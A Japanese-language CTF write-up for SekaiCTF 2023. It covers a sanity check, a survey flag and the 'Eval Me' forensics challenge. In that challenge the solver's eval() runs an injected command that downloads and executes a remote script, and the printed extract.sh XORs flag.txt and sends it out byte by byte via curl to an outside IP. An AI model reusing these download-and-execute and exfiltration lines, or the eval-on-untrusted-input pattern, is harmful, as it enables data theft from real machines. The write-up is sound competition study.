SekaiCTF 2023 Writeup

この大会は2023/8/26 1:00(JST)~2023/8/28 1:00(JST)に開催されました。
今回もチームで参戦。結果は378点で981チーム中237位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#announcementチャネルのトピックを見ると、フラグが書いてあった。

SEKAI{w31c0m3_t0_th3_w0r1d!}

Eval Me (Forensics)

与えられた式を計算し答えていく。

#!/usr/bin/env python3
from pwn import *

p = remote('chals.sekai.team', 9000)

for _ in range(4):
    data = p.recvline().decode().rstrip()
    print(data)

for i in range(100):
    q = p.recvline().decode().rstrip()
    print(q)
    ans = eval(q)
    print(ans)
    p.sendline(str(ans).encode())
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to chals.sekai.team on port 9000: Done
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)

5 * 9
45
correct
7 / 7
1.0
correct
9 - 3
6
correct
1 / 2
0.5
correct
2 + 8
10
correct
10 / 7
1.4285714285714286
correct
2 + 5
7
correct
8 * 4
32
correct
9 / 4
2.25
correct
7 / 2
3.5
correct
6 - 10
-4
correct
6 - 1
5
correct
1 - 2
-1
correct
3 - 10
-7
correct
2 / 7
0.2857142857142857
correct
1 - 3
-2
correct
10 * 2
20
correct
6 - 4
2
correct
1 * 5
5
correct
9 - 8
1
correct
3 + 5
8
correct
1 - 2
-1
correct
9 * 7
63
correct
7 * 3
21
correct
10 / 2
5.0
correct
3 / 1
3.0
correct
6 + 6
12
correct
1 + 6
7
correct
6 + 7
13
correct
2 + 6
8
correct
3 / 7
0.42857142857142855
correct
3 / 4
0.75
correct
10 / 1
10.0
correct
1 / 1
1.0
correct
5 - 1
4
correct
6 + 3
9
correct
4 - 1
3
correct
1 / 6
0.16666666666666666
correct
4 + 2
6
correct
1 + 4
5
correct
3 - 10
-7
correct
4 * 7
28
correct
5 / 6
0.8333333333333334
correct
3 / 7
0.42857142857142855
correct
10 * 4
40
correct
4 + 4
8
correct
10 / 3
3.3333333333333335
correct
4 - 1
3
correct
3 - 4
-1
correct
8 + 3
11
correct
1 - 1
0
correct
4 / 9
0.4444444444444444
correct
7 - 4
3
correct
5 + 10
15
correct
10 - 10
0
correct
10 - 2
8
correct
5 - 8
-3
correct
1 + 3
4
correct
6 - 6
0
correct
5 - 4
1
correct
6 - 5
1
correct
7 - 4
3
correct
6 / 9
0.6666666666666666
correct
9 - 1
8
correct
10 - 9
1
correct
3 - 6
-3
correct
6 / 1
6.0
correct
6 / 1
6.0
correct
1 * 1
1
correct
3 + 6
9
correct
3 * 9
27
correct
__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract#1 + 2
b''
correct
3 - 9
-6
correct
1 / 6
0.16666666666666666
correct
8 + 8
16
correct
7 - 9
-2
correct
8 * 6
48
correct
2 * 4
8
correct
9 + 8
17
correct
8 + 7
15
correct
8 * 4
32
correct
8 + 3
11
correct
10 / 10
1.0
correct
9 + 2
11
correct
7 * 8
56
correct
4 / 5
0.8
correct
7 - 1
6
correct
2 * 7
14
correct
5 / 4
1.25
correct
5 * 9
45
correct
7 / 6
1.1666666666666667
correct
3 / 3
1.0
correct
3 * 1
3
correct
9 * 9
81
correct
3 - 8
-5
correct
8 * 8
64
correct
5 + 9
14
correct
2 - 1
1
correct
9 + 10
19
correct
10 * 4
40
correct
[*] Closed connection to chals.sekai.team port 9000

途中ファイルを取得して削除しているので、その部分だけ実行してみる。

$ curl -sL https://shorturl.at/fgjvU -o extract.sh
$ cat extract.sh                                  
#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

flagとkeyをXORした結果を1バイトずつhttp://35.196.65.151:3089に送信しているので、取り出してkeyとXORすればフラグになる。

#!/usr/bin/env python3
from scapy.all import *

KEY = 's3k@1_v3ry_w0w'

packets = rdpcap('capture.pcapng')

flag = ''
i = 0
for p in packets:
    if p.haslayer(IP) and p.haslayer(Raw) and p[IP].dst == '35.196.65.151':
        enc = eval(p[Raw].load.splitlines()[-1].decode())['data']
        flag += chr(int(enc, 16) ^ ord(KEY[i % len(KEY)]))
        i += 1

print(flag)
SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}

Survey (Misc)

アンケートの最後の問題がフラグの選択肢になっていて、指定通りに並べ替えればよい。

SEKAI{thanks_4_the_feedback&see_u_again_next_year!}